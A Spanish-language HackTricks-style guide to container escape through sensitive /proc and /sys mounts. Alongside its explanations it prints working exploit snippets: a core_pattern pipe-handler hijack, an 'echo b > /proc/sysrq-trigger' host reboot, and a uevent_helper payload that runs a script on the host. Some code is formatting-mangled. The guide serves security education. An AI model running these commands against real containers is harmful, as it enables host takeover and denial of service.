Sensitive Mounts

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

La exposición de /proc y /sys sin un aislamiento de espacio de nombres adecuado introduce riesgos de seguridad significativos, incluida la ampliación de la superficie de ataque y la divulgación de información. Estos directorios contienen archivos sensibles que, si están mal configurados o son accedidos por un usuario no autorizado, pueden llevar a la fuga del contenedor, modificación del host o proporcionar información que facilite ataques adicionales. Por ejemplo, montar incorrectamente -v /proc:/host/proc puede eludir la protección de AppArmor debido a su naturaleza basada en la ruta, dejando /host/proc desprotegido.

Puedes encontrar más detalles de cada vulnerabilidad potencial en https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

Vulnerabilidades de procfs

/proc/sys

Este directorio permite el acceso para modificar variables del kernel, generalmente a través de sysctl(2), y contiene varios subdirectorios de interés:

/proc/sys/kernel/core_pattern

  • Descrito en core(5).

  • Permite definir un programa para ejecutar en la generación de archivos core con los primeros 128 bytes como argumentos. Esto puede llevar a la ejecución de código si el archivo comienza con un pipe |.

  • Ejemplo de Prueba y Explotación:

[ -w /proc/sys/kernel/core_pattern ] && echo  # Prueba de acceso de escritura
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Establecer manejador personalizado
sleep 5 && ./crash & # Activar manejador

/proc/sys/kernel/modprobe

  • Detallado en proc(5).

  • Contiene la ruta al cargador de módulos del kernel, invocado para cargar módulos del kernel.

  • Ejemplo de Verificación de Acceso:

ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acceso a modprobe

/proc/sys/vm/panic_on_oom

  • Referenciado en proc(5).

  • Una bandera global que controla si el kernel entra en pánico o invoca al OOM killer cuando ocurre una condición de OOM.

/proc/sys/fs

  • Según proc(5), contiene opciones e información sobre el sistema de archivos.

  • El acceso de escritura puede habilitar varios ataques de denegación de servicio contra el host.

/proc/sys/fs/binfmt_misc

  • Permite registrar intérpretes para formatos binarios no nativos basados en su número mágico.

  • Puede llevar a la escalada de privilegios o acceso a shell de root si /proc/sys/fs/binfmt_misc/register es escribible.

  • Explicación y explotación relevante:

  • Tutorial detallado: Enlace al video

Otros en /proc

/proc/config.gz

  • Puede revelar la configuración del kernel si CONFIG_IKCONFIG_PROC está habilitado.

  • Útil para que los atacantes identifiquen vulnerabilidades en el kernel en ejecución.

/proc/sysrq-trigger

  • Permite invocar comandos Sysrq, potencialmente causando reinicios inmediatos del sistema u otras acciones críticas.

  • Ejemplo de Reinicio del Host:

echo b > /proc/sysrq-trigger # Reinicia el host

/proc/kmsg

  • Expone mensajes del búfer de anillo del kernel.

  • Puede ayudar en exploits del kernel, fugas de direcciones y proporcionar información sensible del sistema.

/proc/kallsyms

  • Enumera símbolos exportados del kernel y sus direcciones.

  • Esencial para el desarrollo de exploits del kernel, especialmente para superar KASLR.

  • La información de direcciones está restringida con kptr_restrict establecido en 1 o 2.

  • Detalles en proc(5).

/proc/[pid]/mem

  • Interactúa con el dispositivo de memoria del kernel /dev/mem.

  • Históricamente vulnerable a ataques de escalada de privilegios.

  • Más en proc(5).

/proc/kcore

  • Representa la memoria física del sistema en formato core ELF.

  • La lectura puede filtrar el contenido de la memoria del host y de otros contenedores.

  • Un tamaño de archivo grande puede provocar problemas de lectura o bloqueos de software.

/proc/kmem

  • Interfaz alternativa para /dev/kmem, que representa la memoria virtual del kernel.

  • Permite la lectura y escritura, por lo tanto, la modificación directa de la memoria del kernel.

/proc/mem

  • Interfaz alternativa para /dev/mem, que representa la memoria física.

  • Permite la lectura y escritura, la modificación de toda la memoria requiere resolver direcciones virtuales a físicas.

/proc/sched_debug

  • Devuelve información de programación de procesos, eludiendo las protecciones del espacio de nombres PID.

  • Expone nombres de procesos, IDs e identificadores de cgroup.

/proc/[pid]/mountinfo

  • Proporciona información sobre los puntos de montaje en el espacio de nombres de montaje del proceso.

  • Expone la ubicación del rootfs del contenedor o de la imagen.

Vulnerabilidades de /sys

/sys/kernel/uevent_helper

  • Utilizado para manejar los uevents de dispositivos del kernel.

  • Escribir en /sys/kernel/uevent_helper puede ejecutar scripts arbitrarios al activar uevent triggers.

  • Ejemplo de Explotación: %%%bash

Crea un payload

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

Encuentra la ruta del host desde el montaje de OverlayFS para el contenedor

host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)

Establece uevent_helper al helper malicioso

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

Activa un uevent

echo change > /sys/class/mem/null/uevent

Lee la salida

cat /output %%%

/sys/class/thermal

  • Controla la configuración de temperatura, potencialmente causando ataques DoS o daños físicos.

/sys/kernel/vmcoreinfo

  • Filtra direcciones del kernel, comprometiendo potencialmente KASLR.

/sys/kernel/security

  • Alberga la interfaz securityfs, permitiendo la configuración de Módulos de Seguridad de Linux como AppArmor.

  • El acceso podría permitir que un contenedor deshabilite su sistema MAC.

/sys/firmware/efi/vars y /sys/firmware/efi/efivars

  • Expone interfaces para interactuar con variables EFI en la NVRAM.

  • Una mala configuración o explotación puede llevar a laptops inutilizadas o máquinas host no arrancables.

/sys/kernel/debug

  • debugfs ofrece una interfaz de depuración "sin reglas" al kernel.

  • Historial de problemas de seguridad debido a su naturaleza no restringida.

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización